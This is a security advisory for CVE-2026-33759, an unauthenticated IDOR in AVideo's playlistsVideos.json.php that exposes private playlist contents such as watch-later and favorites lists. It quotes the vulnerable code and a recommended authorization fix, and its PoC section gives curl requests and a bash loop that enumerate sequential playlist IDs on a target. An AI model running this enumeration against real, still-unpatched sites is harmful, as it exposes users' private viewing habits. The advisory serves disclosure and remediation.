Skip to content

GHSA-75qq-68m8-pvfr CVE-2026-33759

AVideo: Unauthenticated IDOR in playlistsVideos.json.php Exposes Private Playlist Contents

Medium Packagist
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.31%
Chance of exploitation in the next 30 days. Higher than 23.48% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-639 Authorization Bypass Through User-Controlled Key
CWE-862 Missing Authorization
Fix
None yet
No fixed version published

Description

Summary

The objects/playlistsVideos.json.php endpoint returns the full video contents of any playlist by ID without any authentication or authorization check. Private playlists (including watch_later and favorite types) are correctly hidden from listing endpoints via playlistsFromUser.json.php, but their contents are directly accessible through this endpoint by providing the sequential integer playlists_id parameter.

Details

The endpoint at objects/playlistsVideos.json.php accepts a playlists_id parameter and directly calls PlayList::getVideosFromPlaylist() with no ownership or visibility validation:

// objects/playlistsVideos.json.php:24-28
if (empty($_REQUEST['playlists_id'])) {
    die('Play List can not be empty');
}
require_once './playlist.php';
$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);

The getVideosFromPlaylist() method at objects/playlist.php:588 performs a SQL query joining playlists_has_videos, videos, and users tables with no authorization filter:

// objects/playlist.php:592-597
$sql = "SELECT v.*, p.*,v.created as cre, p.`order` as video_order  "
    . " FROM  playlists_has_videos p "
    . " LEFT JOIN videos as v ON videos_id = v.id "
    . " LEFT JOIN users u ON u.id = v.users_id "
    . " WHERE playlists_id = ? AND v.status != 'i' ";

In contrast, the listing endpoint playlistsFromUser.json.php correctly enforces visibility at lines 23-27:

// objects/playlistsFromUser.json.php:23-27
$publicOnly = true;
if (User::isLogged() && (User::getId() == $requestedUserId || User::isAdmin())) {
    $publicOnly = false;
}
$row = PlayList::getAllFromUser($requestedUserId, $publicOnly);

This creates a bypass: even though private playlists are hidden from listing, their contents are fully exposed via the videos endpoint. Playlist IDs are sequential integers, making enumeration trivial. The .htaccess rewrite at line 356 maps the clean URL playListsVideos.json to this endpoint.

PoC

Step 1: Enumerate playlist contents without authentication

# No cookies or auth headers needed. Increment playlists_id to enumerate.
curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=1" | python3 -m json.tool

Expected: Returns full video metadata array for playlist ID 1, including video titles, filenames, URLs, user info, comments, and subscriber counts.

Step 2: Enumerate private playlists (watch_later, favorite)

# Iterate through sequential IDs to find private playlists
for i in $(seq 1 50); do
  result=$(curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=$i")
  count=$(echo "$result" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)
  if [ "$count" != "0" ] && [ -n "$count" ]; then
    echo "Playlist $i: $count videos"
  fi
done

Step 3: Confirm the listing endpoint correctly hides private playlists

# This correctly returns only public playlists for user 1
curl -s "http://TARGET/objects/playlistsFromUser.json.php?users_id=1" | python3 -m json.tool
# Compare: playlistsVideos.json.php returns contents of ALL playlists including private ones

Impact

An unauthenticated attacker can:

  • Enumerate all users' watch history by accessing watch_later playlist contents
  • Enumerate all users' favorites by accessing favorite playlist contents
  • Access unlisted/private custom playlists that were intentionally hidden from public view
  • Harvest video metadata including filenames, URLs, user information, and comments for videos in private playlists

This is a privacy violation that exposes user viewing habits and content preferences. The sequential integer IDs make bulk enumeration straightforward.

Recommended Fix

Add authorization checks to objects/playlistsVideos.json.php before returning playlist contents:

// objects/playlistsVideos.json.php — add after line 27, before getVideosFromPlaylist()
require_once $global['systemRootPath'] . 'plugin/PlayLists/PlayLists.php';

$pl = new PlayList($_REQUEST['playlists_id']);
$plStatus = $pl->getStatus();

// Public playlists are accessible to everyone
if ($plStatus !== 'public') {
    // Private, unlisted, watch_later, and favorite playlists require ownership or admin
    if (!User::isLogged() || (User::getId() != $pl->getUsers_id() && !User::isAdmin())) {
        header('HTTP/1.1 403 Forbidden');
        die(json_encode(['error' => 'You do not have permission to view this playlist']));
    }
}

$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor